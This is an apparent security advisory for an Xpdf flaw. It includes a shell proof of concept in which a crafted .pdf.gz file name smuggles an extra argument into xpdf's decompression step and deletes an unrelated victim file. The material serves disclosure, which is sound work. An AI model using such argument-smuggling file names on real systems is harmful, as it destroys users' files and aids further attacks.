source: http://www.securityfocus.com/bid/49007/info

Xpdf is prone to a security-bypass vulnerability that may allow attackers to perform actions without proper authorization.

Attackers can exploit this issue to bypass security restrictions and perform unauthorized actions; this may aid in launching further attacks. 

$ touch y # The unrelated victim file
$ gzip -c </dev/null >'" y ".pdf.gz' # Create a .pdf.gz file
$ xpdf '" y ".pdf.gz' # View it using xpdf
Error: May not be a PDF file (continuing anyway)
Error: PDF file is damaged - attempting to reconstruct xref table...
Error: Couldn't find trailer dictionary
Error: Couldn't read xref table
rm: cannot remove `/tmp/': Is a directory
$ ls -l y # The victim file is gone!
ls: cannot access y: No such file or directory 